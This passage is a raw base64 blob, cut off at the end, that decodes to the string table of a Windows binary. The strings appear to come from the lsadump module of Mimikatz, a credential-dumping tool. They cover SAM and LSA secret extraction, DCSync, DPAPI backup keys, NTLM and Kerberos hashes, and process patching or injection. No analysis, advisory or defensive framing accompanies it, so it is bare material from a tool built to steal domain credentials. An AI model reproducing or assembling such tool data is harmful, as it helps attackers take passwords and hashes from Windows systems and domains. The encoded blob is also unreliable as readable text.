AEEAYwBjAG8AdQBuAHQAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAATgBUAEwATQAAAAAAAAAAAEwATQAgACAAAAAAAAAAAAAlAHMAIAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAAAAoAUwBBAE0ASwBlAHkAIAA6ACAAAAAAAEYAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIABLAE8AAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAUABvAGwAXwBfAEQAbQBOAAAAAAAAAAAAUABvAGwAXwBfAEQAbQBTAAAAAAAAAAAAJQBzACAAbgBhAG0AZQAgADoAIAAAAAAAIAAoAAAAAAApAAAAAAAAAFAAbwBsAGkAYwB5AAAAAABMAG8AYwBhAGwAAABBAGMAAAAAAAAAAABEAG8AbQBhAGkAbgAAAAAAUAByAAAAAABQAG8AbABSAGUAdgBpAHMAaQBvAG4AAAAAAAAAAAAAAAoAUABvAGwAaQBjAHkAIABzAHUAYgBzAHkAcwB0AGUAbQAgAGkAcwAgADoAIAAlAGgAdQAuACUAaAB1AAoAAABQAG8AbABFAEsATABpAHMAdAAAAAAAAABQAG8AbABTAGUAYwByAGUAdABFAG4AYwByAHkAcAB0AGkAbwBuAEsAZQB5AAAAAABMAFMAQQAgAEsAZQB5ACgAcwApACAAOgAgACUAdQAsACAAZABlAGYAYQB1AGwAdAAgAAAAAAAAACAAIABbACUAMAAyAHUAXQAgAAAAIAAAAEwAUwBBACAASwBlAHkAIAA6ACAAAAAAAFMAZQBjAHIAZQB0AHMAAABzAGUAcgB2AGkAYwBlAHMAAAAAAAAAAAAKAFMAZQBjAHIAZQB0ACAAIAA6ACAAJQBzAAAAAAAAAF8AUwBDAF8AAAAAAAAAAABDAHUAcgByAFYAYQBsAAAACgBjAHUAcgAvAAAAAAAAAE8AbABkAFYAYQBsAAAAAAAKAG8AbABkAC8AAAAAAAAAUwBlAGMAcgBlAHQAcwBcAE4ATAAkAEsATQBcAEMAdQByAHIAVgBhAGwAAAAAAAAAQwBhAGMAaABlAAAAAAAAAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAAAAAAAAAqACAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0ACAAaQBzACAAJQB1ACwAIAAlAHUAIAByAGUAYQBsACAAaQB0AGUAcgBhAHQAaQBvAG4AKABzACkACgAAAAAAAAAAACoAIABEAEMAQwAxACAAbQBvAGQAZQAgACEACgAAAAAAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAD4AIABLAGkAdwBpACAAbQBvAGQAZQAuAC4ALgAKAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAyACAAOgAgAAAAAAAgACAAQwBoAGUAYwBrAHMAdQBtACAAIAA6ACAAAAAAAD4AIABPAEsAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFMAZQB0AFYAYQBsAHUAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAACAAIABNAHMAQwBhAGMAaABlAFYAMQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwBcACUALgAqAHMACgAAAAAATQBzAEMAYQBjAGgAZQBWACUAYwAgADoAIAAAAAAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAZQBjAHIAeQBwAHQAUwBlAGMAcgBlAHQAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBp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AGkAZAAgAEkAZAAKAAAAAABuAGEAbQBlAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABOAGEAbQBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAVQBzAGUAcgAgADoAIAAlAHcAWgAKAAAAAAAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAABQAHIAaQBtAGEAcgB5AAAAQwBMAEUAQQBSAFQARQBYAFQAAAAAAAAAVwBEAGkAZwBlAHMAdAAAAEsAZQByAGIAZQByAG8AcwAAAAAAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAAAKACAAKgAgACUAcwAKAAAAIAAgACAAIABMAE0AIAAgACAAOgAgAAAACgAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAAAAAAAAAgACAAIAAgACUALgAqAHMACgAAAAAAAAAgACAAIAAgACUAMAAyAHUAIAAgAAAAAAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABTAGEAbAB0ACAAOgAgACUALgAqAHMACgAAAAAAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAE8AbABkAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAAAAAAAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABTAGEAbAB0ACAAOgAgACUALgAqAHMACgAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABJAHQAZQByAGEAdABpAG8AbgBzACAAOgAgACUAdQAKAAAAAAAAAAAAUwBlAHIAdgBpAGMAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE8AbABkAGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAAAAgACAAIAAgACAAIAAlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAlAHMAIAAoACUAdQApACAAOgAgAAAAAAAAAAAATgBPAE4ARQAgACAAIAAAAE4AVAA0AE8AVwBGACAAAABDAEwARQBBAFIAIAAgAAAAVgBFAFIAUwBJAE8ATgAA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AHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAAAKAEMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAAAAAAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHIAcABkAGEAdABhACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAABkAGMAAAAAAAAAAABrAGQAYwAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAARABDACAAcwBlAHIAdgBlAHIACgAKAAAAAAAAAFsARABDAF0AIABPAGIAagBlAGMAdAAgAHcAaQB0AGgAIABHAFUASQBEACAAJwAlAHMAJwAKAAoAAAAAAAAAAAAAAAAAAAAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAdQBzAGUAcgAgAGEAYwBjAG8AdQBuAHQACgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABSAFMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMALAAgAGkAbgB2AGEAbABpAGQAIABkAHcATwB1AHQAVgBlAHIAcwBpAG8AbgAgAGEAbgBkAC8AbwByACAAYwBOAHUAbQBPAGIAagBlAGMAdABzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABvAHIAIABnAHUAaQBkACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAlAHMAJQAuACoAcwAlAHMAAAAAAAAAAAAgACAAIAAgACUAcwAtACUAMgB1ADoAIAAAAAAAAAAAACAAIABIAGEAcwBoACAAJQBzADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjAF8AZABlAGMAcgB5AHAAdAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAAAABPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABTAEMAUgBJAFAAVAAAAAAAQQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAAAAAAAwAHgANAAgAD8AAAAAAAAASABPAE0ARQBEAEkAUgBfAFIARQBRAFUASQBSAEUARAAAAAAAAAAAAEwATwBDAEsATwBVAFQAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAAAAAAAAAAAAAEUATgBDAFIAWQBQAFQARQBEAF8AVABFAFgAVABfAFAAQQBTAFMAVwBPAFIARABfAEEATABMAE8AVwBFAEQAAABUAEUATQBQAF8ARABVAFAATABJAEMAQQBUAEUAXwBBAEMAQwBPAFUATgBUAAAAAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAgAD8AAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAFcATwBSAEsAUwBUAEEAVABJAE8ATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAUwBFAFIAVgBFAFIAXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADgAMAAwADAAIAA/AAAAAAAAAAAARABPAE4AVABfAEUAWABQAEkAUgBFAF8AUABBAFMAUwBXAEQAAAAAAE0ATgBTAF8ATABPAEcATwBOAF8AQQBDAEMATwBVAE4AVAAAAAAAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAAAAAAAAABVAFMARQBfAEQARQBTAF8ASwBFAFkAXwBPAE4ATABZAAAAAAAAAAAARABPAE4AVABfAFIARQBRAFUASQBSAEUAXwBQAFIARQBBAFUAVABIAAAAAAAAAAAAUABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAAAAAAAAAAAAAAAAAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AXwBBAFUAVABIAF8ARABBAFQAQQBfAFIARQBRAFUASQBSAEUARAAAAAAAAABQAEEAUgBUAEkAQQBMAF8AUwBFAEMAUgBFAFQAUwBfAEEAQwBDAE8AVQBOAFQAAABVAFMARQBfAEEARQBTAF8ASwBFAFkAUwAAAAAAAAAAADAAeAAxADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAAAwAHgANAAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAADAAeAA4ADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAAAAAABHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAAAAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8ARwBSAE8AVQBQAF8ATwBCAEoARQBDAFQAAAAAAAAAQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAAAAAAFUAUwBFAFIAXwBPAEIASgBFAEMAVAAAAE0AQQBDAEgASQBOAEUAXwBBAEMAQwBPAFUATgBUAAAAVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAAABBAFAAUABfAEIAQQBTAEkAQwBfAEcAUgBPAFUAUAAAAEEAUABQAF8AUQBVAEUAUgBZAF8ARwBSAE8AVQBQAAAAKgAqACAAUwBBAE0AIABBAEMAQwBPAFUATgBUACAAKgAqAAoACgAAAFMAQQBNACAAVQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFUAcwBlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAE4AYQBtAGUAIAAgADoAIAAAAEEAYwBjAG8AdQBuAHQAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAgACUAcwAgACkACgAAAFUAcwBlAHIAIABBAGMAYwBvAHUAbgB0ACAAQwBvAG4AdAByAG8AbAAgADoAIAAlADAAOAB4ACAAKAAgAAAAAABBAGMAYwBvAHUAbgB0ACAAZQB4AHAAaQByAGEAdABpAG8AbgAgACAAIAA6ACAAAABQAGEAcwBzAHcAbwByAG